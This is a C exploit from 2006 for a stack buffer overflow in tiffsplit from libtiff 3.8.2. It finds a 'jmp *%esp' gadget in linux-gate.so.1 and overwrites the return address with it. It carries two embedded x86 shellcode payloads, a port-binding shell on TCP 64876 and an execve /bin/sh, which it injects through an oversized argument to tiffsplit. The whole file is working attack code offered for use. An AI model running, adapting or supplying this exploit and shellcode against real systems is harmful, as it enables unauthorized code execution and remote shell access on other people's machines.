/*
 * [+] Exploit for tiffsplit from libtiff 3.8.2 with linux-gate.so.1' help
 * [+] More reliable than tiffspl33t.pl
 * (if you have a 'jmp %esp' in linux-gate mapped @ 0xffffe000)
 * [+] By nitr0us <nitrousenador.at.gmail.dot.com>
 * [+] 14/Jun/2006 - Mexico
 *
 * For details:
 * http://archives.neohapsis.com/archives/vuln-dev/2006-q2/0076.html
 *
 * Greetz to ran's girlfriend ;), Fererico L. Bossi, benn, ran,
 * dex, CRAc, beck, etc...
 * 
 * nitrous@lsd:~/vulndev/tiffspl33t$ uname -a
 * Linux lsd 2.6.12-9-386 #1 Mon Oct 10 13:14:36 BST 2005 i686 GNU/Linux
 * nitrous@lsd:~/vulndev/tiffspl33t$ ldd /usr/local/bin/tiffsplit | grep gate
 * 	linux-gate.so.1 =>  (0xffffe000)
 */
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<errno.h>
#include<limits.h>
#ifndef PAGESIZE	/* in limits.h */
#define PAGESIZE	4096
#endif

#define EQUAL(argv1, str)	(strcmp(argv1, str) == 0)

#define LINUX_GATE	0xffffe000L	/* See the comments*/

#define REACHEIP	(1101 - 4)
#define TIFFSPLIT	"/usr/local/bin/tiffsplit"
#define TIFFIMAGE	"./fs.tif"

/*
 * PORTBIND 64876/tcp
 *
 * fork functionality - nitr0us
 * port bind - benn
 */
char	p0rtbind[]=
"\x31\xc0\x83\xc0\x02\xcd\x80\x85\xc0\x75\x64\x6a"
"\x66\x58\x6a\x01\x5b\x31\xc9\x51\x6a\x01\x6a\x02"
"\x89\xe1\xcd\x80\x31\xd2\x52\x66\x68\xfd\x6c\x66"
"\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6"
"\x6a\x02\x5b\x6a\x66\x58\xcd\x80\x6a\x66\x58\x6a"
"\x04\x5b\xcd\x80\x31\xc9\x51\x51\x56\x89\xe1\x6a"
"\x05\x5b\x6a\x66\x58\xcd\x80\x93\x6a\x02\x59\xb0"
"\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89"
"\xe1\xcd\x80\x31\xc0\xfe\xc0\xcd\x80";

/*
 * execve("/bin/sh",{"/bin/sh",NULL},NULL}... jmp-call method
 * by nitr0us
 */
char	jmpcallexecve[]=
"\xeb\x14\x5b\x31\xd2\x88\x53\x07"
"\x89\x5b\x08\x89\x53\x0c\x8d\x4b"
"\x08\x6a\x0b\x58\xcd\x80\xe8\xe7"
"\xff\xff\xff/bin/sh";

char	shellc0de[PAGESIZE];

void usage(char *xpl)
{
	fprintf(stderr, "Usage: %s <payload>\n", xpl);
	fprintf(stderr, "Available payloads:\n");
	fprintf(stderr, "\t\"x86_execve\"\n");
	fprintf(stderr, "\t\"x86_portbind\"\n");
	exit(0xdead);
}

unsigned long jmpesp_linuxgate(void)
{
	int	i;
	char	*lnx_gate = (char *) LINUX_GATE;

	for(i = 0; i < PAGESIZE; i++){
		/* jmp *%esp == [0xff 0xe4] on x86 */
		if(lnx_gate[i] == '\xff' && lnx_gate[i + 1] == '\xe4'){
			printf("[+] Found 'jmp *%%esp' @ 0x%08x\n", lnx_gate + i);
			return (unsigned long)(lnx_gate +i);
		}
	}

	return (unsigned long) NULL;
}

main(int argc, char **argv)
{
	char		evil[REACHEIP + PAGESIZE];
	unsigned long	ret;
	int		z = 0;

	if(argc != 2)
		usage(*argv);

	if(EQUAL(argv[1], "x86_portbind"))
		memcpy(shellc0de, p0rtbind, sizeof(p0rtbind));
	else if(EQUAL(argv[1], "x86_execve"))
		memcpy(shellc0de, jmpcallexecve, sizeof(jmpcallexecve));
	else
		usage(*argv);

	ret = jmpesp_linuxgate();

	if(!ret){
		fprintf(stderr, "No 'jmp *%%esp' in linux-gate.so.1! Sorry.\n");
		exit(0xdead);
	}

	for(z; z < sizeof(evil); z += strlen("-nitr0us-"))
		memcpy(evil + z, "-nitr0us-", strlen("-nitr0us-"));

	memcpy(evil + REACHEIP, &ret, sizeof(long));
	memcpy(evil + REACHEIP + 4, shellc0de, sizeof(shellc0de));
	execle(TIFFSPLIT, TIFFSPLIT, TIFFIMAGE, evil, NULL, NULL);

	perror("execle");
	exit(0xbad);
}
